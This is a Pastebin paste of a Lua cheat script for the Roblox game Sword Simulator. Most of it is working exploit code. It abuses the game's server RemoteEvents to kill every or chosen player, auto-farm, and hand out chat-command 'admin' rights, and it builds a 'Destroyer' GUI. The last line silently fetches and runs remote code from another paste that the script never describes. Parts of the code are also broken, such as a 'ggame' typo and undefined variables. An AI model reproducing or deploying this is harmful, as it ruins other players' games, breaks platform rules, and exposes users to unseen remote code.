Advertisement
Guest User

SUPER OP Sword Simulator SCRIPT!

a guest
Dec 14th, 2019
7,328
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.21 KB | None | 0 0
  1. --[[
  2. WARNING: The commands('cmds', 'admin' and 'unadmin' will make you chat)
  3. To kill silently type '/e kill' (it will kill everybody)[/align]
  4. [align=center]You cant kill the people that have force field on
  5. --------------------------
  6. Prefix --> ':'
  7. [0]CMDS:
  8. [1]kill (me/plr/others/all)
  9. [2]admin (all/plr)
  10. [3]unadmin (all/plr)
  11. [4]af (autofarm)
  12. [5]saf (stop autofarm)
  13. [6]cmds (chats the cmds list)
  14. --------------------------
  15. If you found any bug please go to this thread and let me know it!
  16. https://v3rmillion.net/showthread.php?tid=690888
  17. --]]
  18. local isAdmin = {[game.Players.LocalPlayer.Name] = true, ["FRIEND1"] = true, ["FRIEND2"] = true} --Admins
  19. local lplr = game.Players.LocalPlayer.Name
  20. local au = false
  21. Owner = game:GetService("Players").LocalPlayer
  22. game:GetService("StarterGui"):SetCore("SendNotification", {
  23. Title = "Sword Simulator Admin";
  24. Text = "Enjoy the script while it lasts!";})
  25.  
  26. function GetPlayer(String) -- Credits to Timeless/xFunnieuss for the get player by string function
  27. local Found = {}
  28. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  29. if v.Name:lower():sub(1, #String) == String:lower() then
  30. table.insert(Found,v)
  31. end
  32. end
  33. return Found
  34. end
  35.  
  36. local function AF()
  37. au = true
  38. game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
  39. while au do
  40. game.Workspace[lplr].sword.Handle.up.RemoteEvent:FireServer() wait(.1)
  41. if game.Players[lplr].Backpack["sword"] then
  42. game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
  43. end
  44. end
  45. end
  46.  
  47. local function KA()
  48. game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
  49. for i,v in ipairs(game.Players:GetPlayers())do
  50. game.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
  51. end end
  52.  
  53. local function KO()
  54. game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
  55. for i,v in ipairs(game.Players:GetPlayers())do
  56. if v.Name ~= game.Players.LocalPlayer.Name then
  57. game.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
  58. end end
  59. end
  60.  
  61. print'Loaded'
  62. function onChatted(message, player)
  63. if message:sub(1, 6) == ";kill " and isAdmin[player.Name] then
  64. if string.sub(message, 7) == "all" then
  65. KA()
  66. elseif string.sub(message, 7) == "me" then
  67. game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
  68. ggame.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
  69. elseif string.sub(message, 7) == "others" then
  70. if player.Name == Owner.Name then
  71. KO()
  72. else
  73. game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
  74. for i,v in ipairs(game.Players:GetPlayers())do
  75. if v.Name ~= player.Name then
  76. game.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
  77. end end
  78. end
  79. else
  80. game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
  81. for i,v in pairs(GetPlayer(string.sub(message, 7)))do
  82. local plr = v.Name
  83.  
  84. for i,p in ipairs(game.Players:GetPlayers())do
  85. if p.Name ~= game.Players.LocalPlayer.Name then
  86. game.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
  87. end end end
  88. end
  89. end
  90.  
  91. if message:sub(1, 7) == "/e kill" and isAdmin[player.Name] then
  92. KA()
  93. end
  94.  
  95. if message:sub(1, 6) == ";cmds" then
  96. if player.Name == Owner.Name then
  97. wait(0.2)
  98. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]CMDS: [1]kill(me/plr/others/all), [2]admin(all/plr), [3]unadmin(all/plr), [4]af(autofarm), [5]saf(stop autofarm), [6]cmds", "All")
  99. elseif isAdmin[player.Name] and player.Name ~= Owner.Name then
  100. wait(0.2)
  101. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]CMDS: [1]kill(me/plr/others/all), [2]admin(all/plr), [3]unadmin(all/plr), [4]cmds", "All")
  102. end
  103. end
  104.  
  105. if message:sub(1, 7) == ";admin " and isAdmin[player.Name] then
  106. if string.sub(message, 8) == "all" and isAdmin[Owner.Name] then
  107. if isAdmin[Owner.Name] then
  108. for i,plrs in ipairs(game:GetService('Players'):GetChildren())do
  109. isAdmin[plrs.Name] = {true}
  110. end
  111. wait(0.2)
  112. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]Everyone is now Admin!", "All")
  113. end
  114. else
  115. for i,v in pairs(GetPlayer(string.sub(message, 8)))do
  116. local plr = v.Name
  117. if isAdmin[plr] then
  118. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]"..plr.." is already Admin!", "All")
  119. else
  120. isAdmin[plr] = {true}
  121. wait(0.2)
  122. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]"..plr.." is now Admin!", "All")
  123. end
  124. end
  125. end
  126. end
  127.  
  128. if message:sub(1, 9) == ";unadmin " and isAdmin[player.Name] then
  129. if string.sub(message, 10) == "all" then
  130. if isAdmin[Owner.Name] then
  131. for i,plrs in ipairs(game:GetService('Players'):GetPlayers())do
  132. isAdmin[plrs.Name] = false
  133. isAdmin[Owner.Name] = true
  134. end
  135. wait(0.2)
  136. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]Everyone is no longer Admin!", "All")
  137. end
  138. else
  139. for i,v in pairs(GetPlayer(string.sub(message, 10)))do
  140. local plr = v.Name
  141. if plr == Owner.Name then
  142. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]Error, this player is the Owner!", "All")
  143. else
  144. isAdmin[plr] = false
  145. wait(0.2)
  146. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]"..plr.." is no longer Admin!", "All")
  147. end
  148. end
  149. end
  150. end
  151.  
  152. if message:sub(1, 3) == ";af" and player.Name == Owner.Name then
  153. AF()
  154. end
  155.  
  156. if message:sub(1, 4) == ";saf" and player.Name == Owner.Name then
  157. au = false
  158. end
  159. end
  160.  
  161. Players = game:GetService("Players")
  162. for i, player in pairs(Players:GetPlayers()) do
  163. player.Chatted:connect(function(message) onChatted(message, player) end)
  164. end
  165.  
  166. --Check if someone joined
  167. game.Players.PlayerAdded:connect(function(player)
  168. player.Chatted:connect(function(message) onChatted(message, player) end)
  169. end)
  170. --//-- DETECTION --\\--
  171.  
  172. if game:GetService("CoreGui"):FindFirstChild("Dankity") then
  173. game:GetService("CoreGui").Dankity:Destroy()
  174. end
  175.  
  176.  
  177. --//-- VARIABLES --\\--
  178.  
  179. Dankity = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer.PlayerGui)
  180. Main = Instance.new("Frame", Dankity)
  181. Header = Instance.new("Frame", Main)
  182. Text = Instance.new("TextLabel", Header)
  183. Username = Instance.new("TextBox", Main)
  184. Kill = Instance.new("TextButton", Main)
  185. Power = Instance.new("TextButton", Main)
  186. LocalPlayer = game:GetService("Players").LocalPlayer
  187. Backpack = LocalPlayer.Backpack
  188. Character = LocalPlayer.Character
  189. Humanoid = Character.Humanoid
  190.  
  191. --//-- PROPERTIES --\\--
  192.  
  193. Dankity.Name = "Dankity"
  194. Dankity.ResetOnSpawn = false
  195.  
  196. Main.Name = "Main"
  197. Main.BackgroundColor3 = Color3.new(0.384314, 0.384314, 0.384314)
  198. Main.BorderSizePixel = 0
  199. Main.Active = true
  200. Main.Draggable = true
  201. Main.Selectable = true
  202. Main.Position = UDim2.new(0.321995467, 0, 0.22910662, 0)
  203. Main.Size = UDim2.new(0, 471, 0, 375)
  204.  
  205. Header.Name = "Header"
  206. Header.BackgroundColor3 = Color3.new(0.560784, 0.560784, 0.560784)
  207. Header.BorderSizePixel = 0
  208. Header.Position = UDim2.new(0, 0, 0.0613333359, 0)
  209. Header.Size = UDim2.new(0, 471, 0, 64)
  210.  
  211. Text.Name = "Text"
  212. Text.BackgroundColor3 = Color3.new(1, 1, 1)
  213. Text.BackgroundTransparency = 1
  214. Text.Position = UDim2.new(0.165605083, 0, 0.102874994, 0)
  215. Text.Size = UDim2.new(0, 315, 0, 50)
  216. Text.Font = Enum.Font.SourceSansBold
  217. Text.Text = "Sword Simulator Destroyer"
  218. Text.TextColor3 = Color3.new(1, 1, 1)
  219. Text.TextSize = 30
  220.  
  221. Username.Name = "Username"
  222. Username.BackgroundColor3 = Color3.new(0.560784, 0.560784, 0.560784)
  223. Username.BorderSizePixel = 0
  224. Username.Position = UDim2.new(0.17622079, 0, 0.346666723, 0)
  225. Username.Size = UDim2.new(0, 305, 0, 50)
  226. Username.Font = Enum.Font.SourceSansSemibold
  227. Username.Text = "Username"
  228. Username.TextColor3 = Color3.new(1, 1, 1)
  229. Username.TextSize = 20
  230.  
  231. Kill.Name = "Kill"
  232. Kill.BackgroundColor3 = Color3.new(0.560784, 0.560784, 0.560784)
  233. Kill.BorderSizePixel = 0
  234. Kill.Position = UDim2.new(0.282377899, 0, 0.519999981, 0)
  235. Kill.Size = UDim2.new(0, 200, 0, 50)
  236. Kill.Font = Enum.Font.SourceSansSemibold
  237. Kill.Text = "Kill"
  238. Kill.TextColor3 = Color3.new(1, 1, 1)
  239. Kill.TextSize = 20
  240. Kill.TextWrapped = true
  241.  
  242. Power.Name = "Power"
  243. Power.BackgroundColor3 = Color3.new(0.560784, 0.560784, 0.560784)
  244. Power.BorderSizePixel = 0
  245. Power.Position = UDim2.new(0.282377899, 0, 0.685333312, 0)
  246. Power.Size = UDim2.new(0, 200, 0, 50)
  247. Power.Font = Enum.Font.SourceSansSemibold
  248. Power.Text = "Power-Farming"
  249. Power.TextColor3 = Color3.new(1, 1, 1)
  250. Power.TextSize = 20
  251. Power.TextWrapped = true
  252.  
  253. --//-- FUNCTIONS --\\--
  254.  
  255. function GetPlayers(Name)
  256. if Name:lower() == "me" then
  257. return {Player}
  258. elseif Name:lower() == "all" then
  259. return game:GetService("Players"):GetPlayers()
  260. elseif Name:lower() == "others" then
  261. local t = {}
  262. for i, v in pairs(game:GetService("Players"):GetPlayers()) do
  263. if v.Name ~= Player.Name then
  264. t[#t+1] = v
  265. end
  266. end
  267. return t
  268. else
  269. local t = {}
  270. for i, v in pairs(game:GetService("Players"):GetPlayers()) do
  271. if v.Name:sub(1, #Name):lower() == Name:lower() then
  272. t[#t+1] = v
  273. end
  274. end
  275. return t
  276. end
  277. end
  278.  
  279. --//-- SCRIPTING --\\--
  280.  
  281. Kill.MouseButton1Click:Connect(function()
  282. for _,v in pairs(Backpack:GetChildren()) do
  283. Humanoid:EquipTool(v)
  284. end
  285.  
  286. local Plrs = GetPlayers(Username.Text)
  287. for i,v in pairs(Plrs) do
  288. for i = 1 , 10 do
  289.  
  290. if Character:FindFirstChild("sword") then
  291.  
  292. Character.sword.Handle.dmg.RemoteEvent:FireServer(game:GetService("Workspace")[v.Name].Humanoid, 9999)
  293. end
  294. end
  295. end
  296. end)
  297.  
  298. Power.MouseButton1Click:Connect(function()
  299. for _,v in pairs(Backpack:GetChildren()) do
  300. Humanoid:EquipTool(v)
  301. end
  302.  
  303. if Character:FindFirstChild("sword") then
  304.  
  305. while wait() do
  306. Character.sword.Handle.up.RemoteEvent:FireServer()
  307. if not Character:FindFirstChild("sword") then
  308. for _,v in pairs(Backpack:GetChildren()) do
  309. Humanoid:EquipTool(v)
  310. end
  311. end
  312. end
  313. end
  314. end)
  315. loadstring(game:HttpGet("https://pastebin.com/raw/nq8i487S", true))()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement